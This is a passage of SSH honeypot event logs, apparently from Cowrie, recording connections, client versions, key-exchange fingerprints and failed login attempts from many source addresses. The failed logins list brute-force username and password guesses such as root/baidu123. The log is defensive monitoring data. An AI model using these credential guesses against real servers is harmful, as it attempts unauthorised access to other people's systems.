cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:41:33.774935Z","src_ip":"77.94.47.83","session":"92db9b55b0be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aaaa","message":"login attempt [root/aaaa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:41:34.142497Z","src_ip":"77.94.47.83","session":"92db9b55b0be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:41:35.269058Z","src_ip":"77.94.47.83","session":"92db9b55b0be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":33882,"dst_ip":"159.203.135.109","dst_port":22,"session":"50094830d739","protocol":"ssh","message":"New connection: 193.32.162.151:33882 (159.203.135.109:22) [session: 50094830d739]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:41:35.530577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:41:35.535789Z","src_ip":"193.32.162.151","session":"50094830d739","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:41:35.660278Z","src_ip":"193.32.162.151","session":"50094830d739","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chengfeng","password":"chengfeng","message":"login attempt [chengfeng/chengfeng] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:41:36.006760Z","src_ip":"193.32.162.151","session":"50094830d739","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:41:37.115491Z","src_ip":"193.32.162.151","session":"50094830d739","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.117.97.0","src_port":35564,"dst_ip":"10.17.0.5","dst_port":22,"session":"d194aafa24b7","protocol":"ssh","message":"New connection: 40.117.97.0:35564 (10.17.0.5:22) [session: d194aafa24b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:41:43.828529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:41:43.833238Z","src_ip":"40.117.97.0","session":"d194aafa24b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:41:43.901474Z","src_ip":"40.117.97.0","session":"d194aafa24b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"baidu123","message":"login attempt [root/baidu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:41:43.991077Z","src_ip":"40.117.97.0","session":"d194aafa24b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:41:45.015910Z","src_ip":"40.117.97.0","session":"d194aafa24b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.91.48.142","src_port":50434,"dst_ip":"10.17.0.5","dst_port":22,"session":"2eff7dc40da0","protocol":"ssh","message":"New connection: 115.91.48.142:50434 (10.17.0.5:22) [session: 2eff7dc40da0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:41:56.372627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:41:56.377445Z","src_ip":"115.91.48.142","session":"2eff7dc40da0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:41:56.576532Z","src_ip":"115.91.48.142","session":"2eff7dc40da0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd@123456","message":"login attempt [root/asd@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:41:57.395075Z","src_ip":"115.91.48.142","session":"2eff7dc40da0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:41:58.595044Z","src_ip":"115.91.48.142","session":"2eff7dc40da0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":21505,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4ed45d7cb39","protocol":"ssh","message":"New connection: 182.253.79.194:21505 (10.17.0.5:22) [session: b4ed45d7cb39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:42:08.723106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:42:08.739949Z","src_ip":"182.253.79.194","session":"b4ed45d7cb39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:42:09.014748Z","src_ip":"182.253.79.194","session":"b4ed45d7cb39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rahul","password":"rahul123","message":"login attempt [rahul/rahul123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:42:10.117763Z","src_ip":"182.253.79.194","session":"b4ed45d7cb39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:42:11.388943Z","src_ip":"182.253.79.194","session":"b4ed45d7cb39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.90.78","src_port":39440,"dst_ip":"159.203.135.109","dst_port":22,"session":"d687d38e772e","protocol":"ssh","message":"New connection: 43.173.90.78:39440 (159.203.135.109:22) [session: d687d38e772e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:42:12.646038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:42:12.650865Z","src_ip":"43.173.90.78","session":"d687d38e772e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:42:12.719362Z","src_ip":"43.173.90.78","session":"d687d38e772e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.225.76","src_port":36774,"dst_ip":"10.17.0.5","dst_port":22,"session":"192b92219e4f","protocol":"ssh","message":"New connection: 15.204.225.76:36774 (10.17.0.5:22) [session: 192b92219e4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:42:12.922032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:42:12.927142Z","src_ip":"15.204.225.76","session":"192b92219e4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:42:12.940663Z","src_ip":"15.204.225.76","session":"192b92219e4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"avinash","password":"avinash","message":"login attempt [avinash/avinash] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:42:13.018570Z","src_ip":"15.204.225.76","session":"192b92219e4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oo","password":"123","message":"login attempt [oo/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:42:13.023746Z","src_ip":"43.173.90.78","session":"d687d38e772e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:42:14.032334Z","src_ip":"15.204.225.76","session":"192b92219e4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:42:14.095316Z","src_ip":"43.173.90.78","session":"d687d38e772e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":51380,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7b9f7a4b00c","protocol":"ssh","message":"New connection: 109.237.96.109:51380 (10.17.0.5:22) [session: b7b9f7a4b00c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:42:24.375236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:42:24.380515Z","src_ip":"109.237.96.109","session":"b7b9f7a4b00c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:42:24.470337Z","src_ip":"109.237.96.109","session":"b7b9f7a4b00c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nokia6300","message":"login attempt [root/nokia6300] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:42:24.740529Z","src_ip":"109.237.96.109","session":"b7b9f7a4b00c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:42:25.833159Z","src_ip":"109.237.96.109","session":"b7b9f7a4b00c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.117.97.0","src_port":59954,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ca15dd56856","protocol":"ssh","message":"New connection: 40.117.97.0:59954 (10.17.0.5:22) [session: 7ca15dd56856]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:42:31.041084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:42:31.051042Z","src_ip":"40.117.97.0","session":"7ca15dd56856","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:42:31.072449Z","src_ip":"40.117.97.0","session":"7ca15dd56856","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Netwatch!@#","message":"login attempt [root/Netwatch!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:42:31.153696Z","src_ip":"40.117.97.0","session":"7ca15dd56856","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:42:32.177936Z","src_ip":"40.117.97.0","session":"7ca15dd56856","protocol":"ssh"}
